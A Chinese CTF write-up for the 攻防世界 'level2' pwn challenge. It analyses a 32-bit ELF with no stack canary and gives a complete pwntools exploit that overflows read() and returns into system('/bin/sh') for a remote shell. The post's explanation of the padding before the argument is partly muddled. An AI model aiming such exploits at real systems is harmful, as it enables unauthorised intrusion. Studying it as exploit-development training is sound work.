攻防世界PWN题 level2

题目地址

拿到题目后,首先用 file 查看文件类型,可以发现是 ELF 32-bit 类型的文件

接下来使用 checksec 来查看文件开启了哪些保护,可得到如下内容:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没有 canary,那么有可能做到栈溢出

执行一下来看效果,发现其流程为:

Input:
<获取输入>
Hello World!

放进 ida 里后在 Function name 窗口可以发现一个名为 vulnerable_function 的可疑函数,查看其代码,可得到如下内容:

; Attributes: bp-based frame

public vulnerable_function
vulnerable_function proc near

buf= byte ptr -88h; __unwind {

push    ebp
mov     ebp, esp
sub     esp, 88h
sub     esp, 0Ch
push    offset command  ; "echo Input:"
call    _system
add     esp, 10h
sub     esp, 4
push    100h            ; nbytes
lea     eax, [ebp+buf]
push    eax             ; buf
push    0               ; fd
call    _read
add     esp, 10h
nop
leave
retn
; } // starts at 804844B
vulnerable_function endp

通过汇编代码中对 _system 和 _read 函数的调用可以看到,该程序在调用函数时会将参数放在栈里,同时虽然 buf 的大小本身只有 88h ,但传给 read 的第三个参数(读取的最大字符数)却高达 100h ,而因为程序没有开启 canary ,那么这里可以作为一个注入点来劫持程序的运行流

继续分析文件,通过 Strings 可以发现在地址 0x804a024 处有一字符串 "/bin/sh",而程序中使用了 system 来输出内容,那么就有可能可以构造出形如 system("/bin/sh") 的函数调用来获得 shell

通过 Function name 窗口,可以发现 _system 的地址为 0x8048320 (这里之所以看 _system 而不是 system ,是因为在 pwntools 里用 <ELF对象>.plt['system'] 得到了同样的结果,据说和 plt 有关,待研究)

总结一下目前的信息,我们需要通过 read 函数来将 payload 写入栈中,覆盖掉原来的返回地址,同时让 "/bin/sh" 作为其参数来获得 shell ,故可得到如下 exp:

from pwn import *

r = remote(远程ip, 远程port)
elf = ELF(本地 elf 文件的地址)

r.recv()

payload = b'0'*0x8c+p32(elf.plt['system'])+b'0000'+p32(elf.symbols['hint'])

r.sendline(payload)

r.interactive()

这里有几点说明:

  1. 符号表中的 hint 表示字符串 "/bin/sh"
  2. 先写入 0x8c 个 '0' 是因为,buf 本身需要 0x88 个字节来填充,原来压入的 ebp 需要 4 个字节,因此共 0x8c 个字
  3. system 地址和 hint 地址之间填充 4 个字节是因为,当程序的执行流因返回地址的改变而到达 system 时,它只是完成了一个跳转,而正常地 call 一个函数在跳转前会把 eip 先压入到栈内,这里少了这一步骤,到达 system 后 p32(elf.plt['system']) 这部分代表的内存会被压入 ebp 而不是 eip ,那么要想访问到 hint ,就需要在两者之间填充一个虚假的 eip ,这个可以随意,因为我们只需要 system 调用之后的效果,至于程序最后在返回时会不会 segment default 并不需要关心
posted @ 2020-04-15 23:45  愚人呀  阅读(671)  评论(0编辑  收藏  举报